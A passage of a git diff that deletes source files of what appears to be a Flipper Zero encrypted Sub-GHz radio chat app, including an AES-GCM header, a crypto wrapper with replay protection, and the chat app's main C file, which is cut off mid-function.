-* REGARDING ITS FITNESS FOR ANY PARTICULAR PURPOSE. USE IT AT YOUR OWN RISK.
-*
-*******************************************************************************/
-#ifndef GCM_HEADER
-#define GCM_HEADER
-
-#define GCM_AUTH_FAILURE 0x55555555 // authentication failure
-
-#include "aes.h" // gcm_context includes aes_context
-
-#if defined(_MSC_VER)
-#include
-typedef unsigned int size_t; // use the right type for length declarations
-typedef UINT32 uint32_t;
-typedef UINT64 uint64_t;
-#else
-#include
-#endif
-
-/******************************************************************************
- * GCM_CONTEXT : GCM context / holds keytables, instance data, and AES ctx
- ******************************************************************************/
-typedef struct {
- int mode; // cipher direction: encrypt/decrypt
- uint64_t len; // cipher data length processed so far
- uint64_t add_len; // total add data length
- uint64_t HL[16]; // precalculated lo-half HTable
- uint64_t HH[16]; // precalculated hi-half HTable
- uchar base_ectr[16]; // first counter-mode cipher output for tag
- uchar y[16]; // the current cipher-input IV|Counter value
- uchar buf[16]; // buf working value
- aes_context aes_ctx; // cipher context used
-} gcm_context;
-
-/******************************************************************************
- * GCM_CONTEXT : MUST be called once before ANY use of this library
- ******************************************************************************/
-int gcm_initialize(void);
-
-/******************************************************************************
- * GCM_SETKEY : sets the GCM (and AES) keying material for use
- ******************************************************************************/
-int gcm_setkey(
- gcm_context* ctx, // caller-provided context ptr
- const uchar* key, // pointer to cipher key
- const uint keysize // size in bytes (must be 16, 24, 32 for
- // 128, 192 or 256-bit keys respectively)
-); // returns 0 for success
-
-/******************************************************************************
- *
- * GCM_CRYPT_AND_TAG
- *
- * This either encrypts or decrypts the user-provided data and, either
- * way, generates an authentication tag of the requested length. It must be
- * called with a GCM context whose key has already been set with GCM_SETKEY.
- *
- * The user would typically call this explicitly to ENCRYPT a buffer of data
- * and optional associated data, and produce its an authentication tag.
- *
- * To reverse the process the user would typically call the companion
- * GCM_AUTH_DECRYPT function to decrypt data and verify a user-provided
- * authentication tag. The GCM_AUTH_DECRYPT function calls this function
- * to perform its decryption and tag generation, which it then compares.
- *
- ******************************************************************************/
-int gcm_crypt_and_tag(
- gcm_context* ctx, // gcm context with key already setup
- int mode, // cipher direction: ENCRYPT (1) or DECRYPT (0)
- const uchar* iv, // pointer to the 12-byte initialization vector
- size_t iv_len, // byte length if the IV. should always be 12
- const uchar* add, // pointer to the non-ciphered additional data
- size_t add_len, // byte length of the additional AEAD data
- const uchar* input, // pointer to the cipher data source
- uchar* output, // pointer to the cipher data destination
- size_t length, // byte length of the cipher data
- uchar* tag, // pointer to the tag to be generated
- size_t tag_len); // byte length of the tag to be generated
-
-/******************************************************************************
- *
- * GCM_AUTH_DECRYPT
- *
- * This DECRYPTS a user-provided data buffer with optional associated data.
- * It then verifies a user-supplied authentication tag against the tag just
- * re-created during decryption to verify that the data has not been altered.
- *
- * This function calls GCM_CRYPT_AND_TAG (above) to perform the decryption
- * and authentication tag generation.
- *
- ******************************************************************************/
-int gcm_auth_decrypt(
- gcm_context* ctx, // gcm context with key already setup
- const uchar* iv, // pointer to the 12-byte initialization vector
- size_t iv_len, // byte length if the IV. should always be 12
- const uchar* add, // pointer to the non-ciphered additional data
- size_t add_len, // byte length of the additional AEAD data
- const uchar* input, // pointer to the cipher data source
- uchar* output, // pointer to the cipher data destination
- size_t length, // byte length of the cipher data
- const uchar* tag, // pointer to the tag to be authenticated
- size_t tag_len); // byte length of the tag <= 16
-
-/******************************************************************************
- *
- * GCM_START
- *
- * Given a user-provided GCM context, this initializes it, sets the encryption
- * mode, and preprocesses the initialization vector and additional AEAD data.
- *
- ******************************************************************************/
-int gcm_start(
- gcm_context* ctx, // pointer to user-provided GCM context
- int mode, // ENCRYPT (1) or DECRYPT (0)
- const uchar* iv, // pointer to initialization vector
- size_t iv_len, // IV length in bytes (should == 12)
- const uchar* add, // pointer to additional AEAD data (NULL if none)
- size_t add_len); // length of additional AEAD data (bytes)
-
-/******************************************************************************
- *
- * GCM_UPDATE
- *
- * This is called once or more to process bulk plaintext or ciphertext data.
- * We give this some number of bytes of input and it returns the same number
- * of output bytes. If called multiple times (which is fine) all but the final
- * invocation MUST be called with length mod 16 == 0. (Only the final call can
- * have a partial block length of < 128 bits.)
- *
- ******************************************************************************/
-int gcm_update(
- gcm_context* ctx, // pointer to user-provided GCM context
- size_t length, // length, in bytes, of data to process
- const uchar* input, // pointer to source data
- uchar* output); // pointer to destination data
-
-/******************************************************************************
- *
- * GCM_FINISH
- *
- * This is called once after all calls to GCM_UPDATE to finalize the GCM.
- * It performs the final GHASH to produce the resulting authentication TAG.
- *
- ******************************************************************************/
-int gcm_finish(
- gcm_context* ctx, // pointer to user-provided GCM context
- uchar* tag, // ptr to tag buffer - NULL if tag_len = 0
- size_t tag_len); // length, in bytes, of the tag-receiving buf
-
-/******************************************************************************
- *
- * GCM_ZERO_CTX
- *
- * The GCM context contains both the GCM context and the AES context.
- * This includes keying and key-related material which is security-
- * sensitive, so it MUST be zeroed after use. This function does that.
- *
- ******************************************************************************/
-void gcm_zero_ctx(gcm_context* ctx);
-
-#endif /* GCM_HEADER */
diff --git a/applications/external/esubghz_chat/crypto_wrapper.c b/applications/external/esubghz_chat/crypto_wrapper.c
deleted file mode 100644
index 5d72bd843..000000000
--- a/applications/external/esubghz_chat/crypto_wrapper.c
+++ /dev/null
@@ -1,237 +0,0 @@
-#include
-#include
-#include
-
-#ifndef FURI_HAL_CRYPTO_ADVANCED_AVAIL
-#include "crypto/gcm.h"
-#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
-
-#include "crypto_wrapper.h"
-
-DICT_DEF2(ESubGhzChatReplayDict, uint64_t, uint32_t)
-
-struct ESugGhzChatCryptoCtx {
- uint8_t key[KEY_BITS / 8];
-#ifndef FURI_HAL_CRYPTO_ADVANCED_AVAIL
- gcm_context gcm_ctx;
-#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
- ESubGhzChatReplayDict_t replay_dict;
- uint64_t run_id;
- uint32_t counter;
-};
-
-struct ESubGhzChatCryptoMsg {
- uint64_t run_id;
- uint32_t counter;
- uint8_t iv[IV_BYTES];
- uint8_t tag[TAG_BYTES];
- uint8_t data[0];
-} __attribute__((packed));
-
-void crypto_init(void) {
-#ifndef FURI_HAL_CRYPTO_ADVANCED_AVAIL
- /* init the GCM and AES tables */
- gcm_initialize();
-#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
-}
-
-void crypto_explicit_bzero(void* s, size_t len) {
- memset(s, 0, len);
- asm volatile("" ::: "memory");
-}
-
-ESubGhzChatCryptoCtx* crypto_ctx_alloc(void) {
- ESubGhzChatCryptoCtx* ret = malloc(sizeof(ESubGhzChatCryptoCtx));
-
- if(ret != NULL) {
- memset(ret, 0, sizeof(ESubGhzChatCryptoCtx));
- ESubGhzChatReplayDict_init(ret->replay_dict);
- ret->run_id = 0;
- ret->counter = 1;
- }
-
- return ret;
-}
-
-void crypto_ctx_free(ESubGhzChatCryptoCtx* ctx) {
- crypto_ctx_clear(ctx);
- ESubGhzChatReplayDict_clear(ctx->replay_dict);
- free(ctx);
-}
-
-void crypto_ctx_clear(ESubGhzChatCryptoCtx* ctx) {
- crypto_explicit_bzero(ctx->key, sizeof(ctx->key));
-#ifndef FURI_HAL_CRYPTO_ADVANCED_AVAIL
- crypto_explicit_bzero(&(ctx->gcm_ctx), sizeof(ctx->gcm_ctx));
-#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
- ESubGhzChatReplayDict_reset(ctx->replay_dict);
- ctx->run_id = 0;
- ctx->counter = 1;
-}
-
-static uint64_t crypto_calc_run_id(FuriString* flipper_name, uint32_t tick) {
- const char* fn = furi_string_get_cstr(flipper_name);
- size_t fn_len = strlen(fn);
-
- uint8_t h_in[fn_len + sizeof(uint32_t)];
- memcpy(h_in, fn, fn_len);
- memcpy(h_in + fn_len, &tick, sizeof(uint32_t));
-
- uint8_t h_out[256];
- sha256(h_in, fn_len + sizeof(uint32_t), h_out);
-
- uint64_t run_id;
- memcpy(&run_id, h_out, sizeof(uint64_t));
-
- return run_id;
-}
-
-bool crypto_ctx_set_key(
- ESubGhzChatCryptoCtx* ctx,
- const uint8_t* key,
- FuriString* flipper_name,
- uint32_t tick) {
- ctx->run_id = crypto_calc_run_id(flipper_name, tick);
- ctx->counter = 1;
-
- memcpy(ctx->key, key, KEY_BITS / 8);
-#ifdef FURI_HAL_CRYPTO_ADVANCED_AVAIL
- return true;
-#else /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
- return (gcm_setkey(&(ctx->gcm_ctx), key, KEY_BITS / 8) == 0);
-#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
-}
-
-void crypto_ctx_get_key(ESubGhzChatCryptoCtx* ctx, uint8_t* key) {
- memcpy(key, ctx->key, KEY_BITS / 8);
-}
-
-bool crypto_ctx_decrypt(ESubGhzChatCryptoCtx* ctx, uint8_t* in, size_t in_len, uint8_t* out) {
- if(in_len < MSG_OVERHEAD + 1) {
- return false;
- }
-
- struct ESubGhzChatCryptoMsg* msg = (struct ESubGhzChatCryptoMsg*)in;
-
- // check if message is stale, if yes, discard
- uint32_t* counter = ESubGhzChatReplayDict_get(ctx->replay_dict, msg->run_id);
- if(counter != NULL) {
- if(*counter >= __ntohl(msg->counter)) {
- return false;
- }
- }
-
- // decrypt and auth message
-#ifdef FURI_HAL_CRYPTO_ADVANCED_AVAIL
- bool ret =
- (furi_hal_crypto_gcm_decrypt_and_verify(
- ctx->key,
- msg->iv,
- (uint8_t*)msg,
- RUN_ID_BYTES + COUNTER_BYTES,
- msg->data,
- out,
- in_len - MSG_OVERHEAD,
- msg->tag) == FuriHalCryptoGCMStateOk);
-#else /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
- bool ret =
- (gcm_auth_decrypt(
- &(ctx->gcm_ctx),
- msg->iv,
- IV_BYTES,
- (uint8_t*)msg,
- RUN_ID_BYTES + COUNTER_BYTES,
- msg->data,
- out,
- in_len - MSG_OVERHEAD,
- msg->tag,
- TAG_BYTES) == 0);
-#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
-
- // if auth was successful update replay dict
- if(ret) {
- ESubGhzChatReplayDict_set_at(ctx->replay_dict, msg->run_id, __ntohl(msg->counter));
- }
-
- return ret;
-}
-
-bool crypto_ctx_encrypt(ESubGhzChatCryptoCtx* ctx, uint8_t* in, size_t in_len, uint8_t* out) {
- struct ESubGhzChatCryptoMsg* msg = (struct ESubGhzChatCryptoMsg*)out;
-
- // fill message header
- msg->run_id = ctx->run_id;
- msg->counter = __htonl(ctx->counter);
- furi_hal_random_fill_buf(msg->iv, IV_BYTES);
-
- // encrypt message and store tag in header
-#ifdef FURI_HAL_CRYPTO_ADVANCED_AVAIL
- bool ret =
- (furi_hal_crypto_gcm_encrypt_and_tag(
- ctx->key,
- msg->iv,
- (uint8_t*)msg,
- RUN_ID_BYTES + COUNTER_BYTES,
- in,
- msg->data,
- in_len,
- msg->tag) == FuriHalCryptoGCMStateOk);
-#else /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
- bool ret =
- (gcm_crypt_and_tag(
- &(ctx->gcm_ctx),
- ENCRYPT,
- msg->iv,
- IV_BYTES,
- (uint8_t*)msg,
- RUN_ID_BYTES + COUNTER_BYTES,
- in,
- msg->data,
- in_len,
- msg->tag,
- TAG_BYTES) == 0);
-#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
-
- // update replay dict and increase internal counter
- if(ret) {
- ESubGhzChatReplayDict_set_at(ctx->replay_dict, ctx->run_id, ctx->counter);
- ctx->counter++;
- }
-
- return ret;
-}
-
-size_t crypto_ctx_dump_replay_dict(
- ESubGhzChatCryptoCtx* ctx,
- CryptoCtxReplayDictWriter writer,
- void* writer_ctx) {
- size_t ret = 0;
- ESubGhzChatReplayDict_it_t i;
-
- for(ESubGhzChatReplayDict_it(i, ctx->replay_dict); !ESubGhzChatReplayDict_end_p(i);
- ESubGhzChatReplayDict_next(i), ret++) {
- ESubGhzChatReplayDict_itref_t* ref = ESubGhzChatReplayDict_ref(i);
- if(!writer(ref->key, ref->value, writer_ctx)) {
- break;
- }
- }
-
- return ret;
-}
-
-size_t crypto_ctx_read_replay_dict(
- ESubGhzChatCryptoCtx* ctx,
- CryptoCtxReplayDictReader reader,
- void* reader_ctx) {
- size_t ret = 0;
-
- uint64_t run_id;
- uint32_t counter;
-
- while(reader(&run_id, &counter, reader_ctx)) {
- ESubGhzChatReplayDict_set_at(ctx->replay_dict, run_id, counter);
- ret++;
- }
-
- return ret;
-}
diff --git a/applications/external/esubghz_chat/crypto_wrapper.h b/applications/external/esubghz_chat/crypto_wrapper.h
deleted file mode 100644
index 080a604d1..000000000
--- a/applications/external/esubghz_chat/crypto_wrapper.h
+++ /dev/null
@@ -1,51 +0,0 @@
-#pragma once
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-#define RUN_ID_BYTES (sizeof(uint64_t))
-#define COUNTER_BYTES (sizeof(uint32_t))
-#define KEY_BITS 256
-#define IV_BYTES 12
-#define TAG_BYTES 16
-
-#define MSG_OVERHEAD (RUN_ID_BYTES + COUNTER_BYTES + IV_BYTES + TAG_BYTES)
-
-typedef struct ESugGhzChatCryptoCtx ESubGhzChatCryptoCtx;
-
-void crypto_init(void);
-
-/* Function to clear sensitive memory. */
-void crypto_explicit_bzero(void* s, size_t len);
-
-ESubGhzChatCryptoCtx* crypto_ctx_alloc(void);
-void crypto_ctx_free(ESubGhzChatCryptoCtx* ctx);
-
-void crypto_ctx_clear(ESubGhzChatCryptoCtx* ctx);
-
-bool crypto_ctx_set_key(
- ESubGhzChatCryptoCtx* ctx,
- const uint8_t* key,
- FuriString* flipper_name,
- uint32_t tick);
-void crypto_ctx_get_key(ESubGhzChatCryptoCtx* ctx, uint8_t* key);
-
-bool crypto_ctx_decrypt(ESubGhzChatCryptoCtx* ctx, uint8_t* in, size_t in_len, uint8_t* out);
-bool crypto_ctx_encrypt(ESubGhzChatCryptoCtx* ctx, uint8_t* in, size_t in_len, uint8_t* out);
-
-typedef bool (*CryptoCtxReplayDictWriter)(uint64_t run_id, uint32_t counter, void* context);
-typedef bool (*CryptoCtxReplayDictReader)(uint64_t* run_id, uint32_t* counter, void* context);
-
-size_t crypto_ctx_dump_replay_dict(
- ESubGhzChatCryptoCtx* ctx,
- CryptoCtxReplayDictWriter writer,
- void* writer_ctx);
-size_t crypto_ctx_read_replay_dict(
- ESubGhzChatCryptoCtx* ctx,
- CryptoCtxReplayDictReader reader,
- void* reader_ctx);
-
-#ifdef __cplusplus
-}
-#endif
diff --git a/applications/external/esubghz_chat/esubghz_chat.c b/applications/external/esubghz_chat/esubghz_chat.c
deleted file mode 100644
index 6a5778fd0..000000000
--- a/applications/external/esubghz_chat/esubghz_chat.c
+++ /dev/null
@@ -1,703 +0,0 @@
-#include
-#include
-#include
-
-#include "helpers/radio_device_loader.h"
-#include "esubghz_chat_i.h"
-
-#define CHAT_LEAVE_DELAY 10
-#define TICK_INTERVAL 50
-#define MESSAGE_COMPLETION_TIMEOUT 500
-
-#define KBD_UNLOCK_CNT 3
-#define KBD_UNLOCK_TIMEOUT 1000
-
-/* Callback for RX events from the Sub-GHz worker. Records the current ticks as
- * the time of the last reception. */
-static void have_read_cb(void* context) {
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- state->last_time_rx_data = furi_get_tick();
-}
-
-/* Sets the header for the chat input field depending on whether or not a
- * message preview exists. */
-void set_chat_input_header(ESubGhzChatState* state) {
- if(strlen(state->msg_preview) == 0) {
- text_input_set_header_text(state->text_input, "Message");
- } else {
- text_input_set_header_text(state->text_input, state->msg_preview);
- }
-}
-
-/* Appends the latest message to the chat box and prepares the message preview.
- */
-void append_msg(ESubGhzChatState* state, const char* msg) {
- /* append message to text box */
- furi_string_cat_printf(state->chat_box_store, "\n%s", msg);
-
- /* prepare message preview */
- strncpy(state->msg_preview, msg, MSG_PREVIEW_SIZE);
- state->msg_preview[MSG_PREVIEW_SIZE] = 0;
- set_chat_input_header(state);
-
- /* reset text box contents and focus */
- text_box_set_text(state->chat_box, furi_string_get_cstr(state->chat_box_store));
- text_box_set_focus(state->chat_box, TextBoxFocusEnd);
-}
-
-/* Decrypts a message for post_rx(). */
-static bool post_rx_decrypt(ESubGhzChatState* state, size_t rx_size) {
- bool ret = crypto_ctx_decrypt(
- state->crypto_ctx, state->rx_buffer, rx_size, (uint8_t*)state->rx_str_buffer);
-
- if(ret) {
- state->rx_str_buffer[rx_size - (MSG_OVERHEAD)] = 0;
- } else {
- state->rx_str_buffer[0] = 0;
- }
-
- return ret;
-}
-
-/* Post RX handler, decrypts received messages and calls append_msg(). */
-static void post_rx(ESubGhzChatState* state, size_t rx_size) {
- furi_assert(state);
-
- if(rx_size == 0) {
- return;
- }
-
- furi_check(rx_size <= RX_TX_BUFFER_SIZE);
-
- /* decrypt if necessary */
- if(!state->encrypted) {
- memcpy(state->rx_str_buffer, state->rx_buffer, rx_size);
- state->rx_str_buffer[rx_size] = 0;
-
- /* remove trailing newline if it is there, for compat with CLI
- * Sub-GHz chat */
- if(state->rx_str_buffer[rx_size - 1] == '\n') {
- state->rx_str_buffer[rx_size - 1] = 0;
- }
- } else {
- /* if decryption fails output an error message */
- if(!post_rx_decrypt(state, rx_size)) {
- strcpy(state->rx_str_buffer, "ERR: Decryption failed!");
- }
- }
-
- /* append message to text box and prepare message preview */
- append_msg(state, state->rx_str_buffer);
-
- /* send notification (make the flipper vibrate) */
- notification_message(state->notification, &sequence_single_vibro);
-}
-
-/* Reads the message from msg_input, encrypts it if necessary and then
- * transmits it. */
-void tx_msg_input(ESubGhzChatState* state) {
- /* encrypt message if necessary */
- size_t msg_len = strlen(furi_string_get_cstr(state->msg_input));
- size_t tx_size = msg_len;
- if(state->encrypted) {
- tx_size += MSG_OVERHEAD;
- furi_check(tx_size <= sizeof(state->tx_buffer));
-
- crypto_ctx_encrypt(
- state->crypto_ctx,
- (uint8_t*)furi_string_get_cstr(state->msg_input),
- msg_len,
- state->tx_buffer);
- } else {
- tx_size += 2;
- furi_check(tx_size <= sizeof(state->tx_buffer));
- memcpy(state->tx_buffer, furi_string_get_cstr(state->msg_input), msg_len);
-
- /* append \r\n for compat with Sub-GHz CLI chat */
- state->tx_buffer[msg_len] = '\r';
- state->tx_buffer[msg_len + 1] = '\n';
- }
-
- /* transmit */
- subghz_tx_rx_worker_write(state->subghz_worker, state->tx_buffer, tx_size);
-}
-
-/* Displays information on frequency, encryption and radio type in the text
- * box. Also clears the text input buffer to remove the password and starts the
- * Sub-GHz worker. After starting the worker a join message is transmitted. */
-void enter_chat(ESubGhzChatState* state) {
- furi_string_cat_printf(state->chat_box_store, "Frequency: %lu", state->frequency);
-
- furi_string_cat_printf(
- state->chat_box_store, "\nEncrypted: %s", (state->encrypted ? "yes" : "no"));
-
- subghz_tx_rx_worker_start(state->subghz_worker, state->subghz_device, state->frequency);
-
- if(strcmp(state->subghz_device->name, "cc1101_ext") == 0) {
- furi_string_cat_printf(state->chat_box_store, "\nRadio: External");
- } else {
- furi_string_cat_printf(state->chat_box_store, "\nRadio: Internal");
- }
-
- /* concatenate the name prefix and join message */
- furi_string_set(state->msg_input, state->name_prefix);
- furi_string_cat_str(state->msg_input, " joined chat.");
-
- /* encrypt and transmit message */
- tx_msg_input(state);
-
- /* clear message input buffer */
- furi_string_set_char(state->msg_input, 0, 0);
-}
-
-/* Sends a leave message */
-void exit_chat(ESubGhzChatState* state) {
- /* concatenate the name prefix and leave message */
- furi_string_set(state->msg_input, state->name_prefix);
- furi_string_cat_str(state->msg_input, " left chat.");
-
- /* encrypt and transmit message */
- tx_msg_input(state);
-
- /* clear message input buffer */
- furi_string_set_char(state->msg_input, 0, 0);
-
- /* wait for leave message to be delivered */
- furi_delay_ms(CHAT_LEAVE_DELAY);
-}
-
-/* Whether or not to display the locked message. */
-static bool kbd_lock_msg_display(ESubGhzChatState* state) {
- return (state->kbd_lock_msg_ticks != 0);
-}
-
-/* Whether or not to hide the locked message again. */
-static bool kbd_lock_msg_reset_timeout(ESubGhzChatState* state) {
- if(state->kbd_lock_msg_ticks == 0) {
- return false;
- }
-
- if(furi_get_tick() - state->kbd_lock_msg_ticks > KBD_UNLOCK_TIMEOUT) {
- return true;
- }
-
- return false;
-}
-
-/* Resets the timeout for the locked message and turns off the backlight if
- * specified. */
-static void kbd_lock_msg_reset(ESubGhzChatState* state, bool backlight_off) {
- state->kbd_lock_msg_ticks = 0;
- state->kbd_lock_count = 0;
-
- if(backlight_off) {
- notification_message(state->notification, &sequence_display_backlight_off);
- }
-}
-
-/* Locks the keyboard. */
-static void kbd_lock(ESubGhzChatState* state) {
- state->kbd_locked = true;
- kbd_lock_msg_reset(state, true);
-}
-
-/* Unlocks the keyboard. */
-static void kbd_unlock(ESubGhzChatState* state) {
- state->kbd_locked = false;
- kbd_lock_msg_reset(state, false);
-}
-
-/* Custom event callback for view dispatcher. Just calls scene manager. */
-static bool esubghz_chat_custom_event_callback(void* context, uint32_t event) {
- FURI_LOG_T(APPLICATION_NAME, "esubghz_chat_custom_event_callback");
- furi_assert(context);
- ESubGhzChatState* state = context;
- return scene_manager_handle_custom_event(state->scene_manager, event);
-}
-
-/* Navigation event callback for view dispatcher. Just calls scene manager. */
-static bool esubghz_chat_navigation_event_callback(void* context) {
- FURI_LOG_T(APPLICATION_NAME, "esubghz_chat_navigation_event_callback");
- furi_assert(context);
- ESubGhzChatState* state = context;
- return scene_manager_handle_back_event(state->scene_manager);
-}
-
-/* Tick event callback for view dispatcher. Called every TICK_INTERVAL. Resets
- * the locked message if necessary. Retrieves a received message from the
- * Sub-GHz worker and calls post_rx(). Then calls the scene manager. */
-static void esubghz_chat_tick_event_callback(void* context) {
- FURI_LOG_T(APPLICATION_NAME, "esubghz_chat_tick_event_callback");
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- /* reset locked message if necessary */
- if(kbd_lock_msg_reset_timeout(state)) {
- kbd_lock_msg_reset(state, true);
- }
-
- /* if the maximum message size was reached or the
- * MESSAGE_COMPLETION_TIMEOUT has expired, retrieve a message and call
- * post_rx() */
- size_t avail = 0;
- while((avail = subghz_tx_rx_worker_available(state->subghz_worker)) > 0) {
- volatile uint32_t since_last_rx = furi_get_tick() - state->last_time_rx_data;
- if(avail < RX_TX_BUFFER_SIZE && since_last_rx < MESSAGE_COMPLETION_TIMEOUT) {
- break;
- }
-
- size_t rx_size =
- subghz_tx_rx_worker_read(state->subghz_worker, state->rx_buffer, RX_TX_BUFFER_SIZE);
- post_rx(state, rx_size);
- }
-
- /* call scene manager */
- scene_manager_handle_tick_event(state->scene_manager);
-}
-
-/* Hooks into the view port's draw callback to overlay the keyboard locked
- * message. */
-static void esubghz_hooked_draw_callback(Canvas* canvas, void* context) {
- FURI_LOG_T(APPLICATION_NAME, "esubghz_hooked_draw_callback");
-
- furi_assert(canvas);
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- /* call original callback */
- state->orig_draw_cb(canvas, state->view_dispatcher);
-
- /* display if the keyboard is locked */
- if(state->kbd_locked) {
- canvas_set_font(canvas, FontPrimary);
- elements_multiline_text_framed(canvas, 42, 30, "Locked");
- }
-
- /* display the unlock message if necessary */
- if(kbd_lock_msg_display(state)) {
- canvas_set_font(canvas, FontSecondary);
- elements_bold_rounded_frame(canvas, 14, 8, 99, 48);
- elements_multiline_text(canvas, 65, 26, "To unlock\npress:");
- canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8);
- canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8);
- canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8);
- canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42);
- }
-}
-
-/* Hooks into the view port's input callback to handle the user locking the
- * keyboard. */
-static void esubghz_hooked_input_callback(InputEvent* event, void* context) {
- FURI_LOG_T(APPLICATION_NAME, "esubghz_hooked_input_callback");
-
- furi_assert(event);
-
- furi_assert(context);
- ESubGhzChatState* state = context;
-
- /* if the keyboard is locked no key presses are forwarded */
- if(state->kbd_locked) {
- /* key has been pressed, display the unlock message and
- * initiate the timer */
- if(state->kbd_lock_count == 0) {
- state->kbd_lock_msg_ticks = furi_get_tick();
- }
-
- /* back button has been pressed, increase the lock counter */
- if(event->key == InputKeyBack && event->type == InputTypeShort) {
- state->kbd_lock_count++;
- }
-
- /* unlock the keyboard */
- if(state->kbd_lock_count >= KBD_UNLOCK_CNT) {
- kbd_unlock(state);
- }
-
- /* do not handle the event */
- return;
- }
-
- if(event->key == InputKeyOk) {
- /* if we are in the chat view and no input is ongoing, allow
- * locking */
- if(state->view_dispatcher->current_view == text_box_get_view(state->chat_box) &&
- !(state->kbd_ok_input_ongoing)) {
- /* lock keyboard upon long press of Ok button */
- if(event->type == InputTypeLong) {
- kbd_lock(state);
- }
-
- /* do not handle any Ok key events to prevent blocking
- * of other keys */
- return;
- }
-
- /* handle ongoing inputs when changing to chat view */
- if(event->type == InputTypePress) {
- state->kbd_ok_input_ongoing = true;
- } else if(event->type == InputTypeRelease) {
- state->kbd_ok_input_ongoing = false;
- }
- }
-
- if(event->key == InputKeyLeft) {
- /* if we are in the chat view and no input is ongoing, allow
- * switching to msg input */
- if(state->view_dispatcher->current_view == text_box_get_view(state->chat_box) &&
- !(state->kbd_left_input_ongoing)) {
- /* go to msg input upon short press of Left button */
- if(event->type == InputTypeShort) {
- view_dispatcher_send_custom_event(
- state->view_dispatcher, ESubGhzChatEvent_GotoMsgInput);
- }
-
- /* do not handle any Left key events to prevent
- * blocking of other keys */
- return;
- }
-
- /* handle ongoing inputs when changing to chat view */
- if(event->type == InputTypePress) {
- state->kbd_left_input_ongoing = true;
- } else if(event->type == InputTypeRelease) {
- state->kbd_left_input_ongoing = false;
- }
- }
-
- if(event->key == InputKeyRight) {
- /* if we are in the chat view and no input is ongoing, allow
- * switching to key display */
- if(state->view_dispatcher->current_view == text_box_get_view(state->chat_box) &&
- !(state->kbd_right_input_ongoing)) {
- /* go to key display upon short press of Right button
- */
- if(event->type == InputTypeShort) {
- view_dispatcher_send_custom_event(
- state->view_dispatcher, ESubGhzChatEvent_GotoKeyDisplay);
- }
-
- /* do not handle any Right key events to prevent
- * blocking of other keys */
- return;
- }
-
- /* handle ongoing inputs when changing to chat view */
- if(event->type == InputTypePress) {
- state->kbd_right_input_ongoing = true;
- } else if(event->type == InputTypeRelease) {
- state->kbd_right_input_ongoing = false;
- }
- }
-
- /* call original callback */
- state->orig_input_cb(event, state->view_dispatcher);
-}
-
-static bool helper_strings_alloc(ESubGhzChatState* state) {
- furi_assert(state);
-
- state->name_prefix = furi_string_alloc();
- if(state->name_prefix == NULL) {
- return false;
- }
-
- state->msg_input = furi_string_alloc();
- if(state->msg_input == NULL) {
- furi_string_free(state->name_prefix);
- return false;
- }
-
- return true;
-}
-
-static void helper_strings_free(ESubGhzChatState* state) {
- furi_assert(state);
-
- furi_string_free(state->name_prefix);
- furi_string_free(state->msg_input);
-}
-
-static bool chat_box_alloc(ESubGhzChatState* state) {
- furi_assert(state);
-
- state->chat_box = text_box_alloc();
- if(state->chat_box == NULL) {
- return false;
- }
-
- state->chat_box_store = furi_string_alloc();
- if(state->chat_box_store == NULL) {
- text_box_free(state->chat_box);
- return false;
- }
-
- furi_string_reserve(state->chat_box_store, CHAT_BOX_STORE_SIZE);
- furi_string_set_char(state->chat_box_store, 0, 0);
- text_box_set_text(state->chat_box, furi_string_get_cstr(state->chat_box_store));
- text_box_set_focus(state->chat_box, TextBoxFocusEnd);
-
- return true;
-}
-
-static void chat_box_free(ESubGhzChatState* state) {
- furi_assert(state);
-
- text_box_free(state->chat_box);
- furi_string_free(state->chat_box_store);
-}
-
-int32_t esubghz_chat(void) {
- /* init the crypto system */
- crypto_init();
-
- int32_t err = -1;
-
- FURI_LOG_I(APPLICATION_NAME, "Starting...");
-
- /* allocate necessary structs and buffers */
-
- ESubGhzChatState* state = malloc(sizeof(ESubGhzChatState));
- if(state == NULL) {
- goto err_alloc;
- }
- memset(state, 0, sizeof(*state));
-
- state->scene_manager = scene_manager_alloc(&esubghz_chat_scene_event_handlers, state);
- if(state->scene_manager == NULL) {
- goto err_alloc_sm;
- }
-
- state->view_dispatcher = view_dispatcher_alloc();
- if(state->view_dispatcher == NULL) {
- goto err_alloc_vd;
- }
-
- if(!helper_strings_alloc(state)) {
- goto err_alloc_hs;
- }
-
- state->menu = menu_alloc();
- if(state->menu == NULL) {
- goto err_alloc_menu;
- }
-
- state->text_input = text_input_alloc();
- if(state->text_input == NULL) {
- goto err_alloc_ti;
- }
-
- state->hex_key_input = byte_input_alloc();
- if(state->hex_key_input == NULL) {
- goto err_alloc_hki;
- }
-
- if(!chat_box_alloc(state)) {
- goto err_alloc_cb;
- }
-
- state->key_display = dialog_ex_alloc();
- if(state->key_display == NULL) {
- goto err_alloc_kd;
- }
-
- state->nfc_popup = popup_alloc();
- if(state->nfc_popup == NULL) {
- goto err_alloc_np;
- }
-
- state->subghz_worker = subghz_tx_rx_worker_alloc();
- if(state->subghz_worker == NULL) {
- goto err_alloc_worker;
- }
-
- state->nfc_worker = nfc_worker_alloc();
- if(state->nfc_worker == NULL) {
- goto err_alloc_nworker;
- }
-
- state->nfc_dev_data = malloc(sizeof(NfcDeviceData));
- if(state->nfc_dev_data == NULL) {
- goto err_alloc_ndevdata;
- }
- memset(state->nfc_dev_data, 0, sizeof(NfcDeviceData));
-
- state->crypto_ctx = crypto_ctx_alloc();
- if(state->crypto_ctx == NULL) {
- goto err_alloc_crypto;
- }
-
- /* set the default frequency */
- state->frequency = DEFAULT_FREQ;
-
- /* set the have_read callback of the Sub-GHz worker */
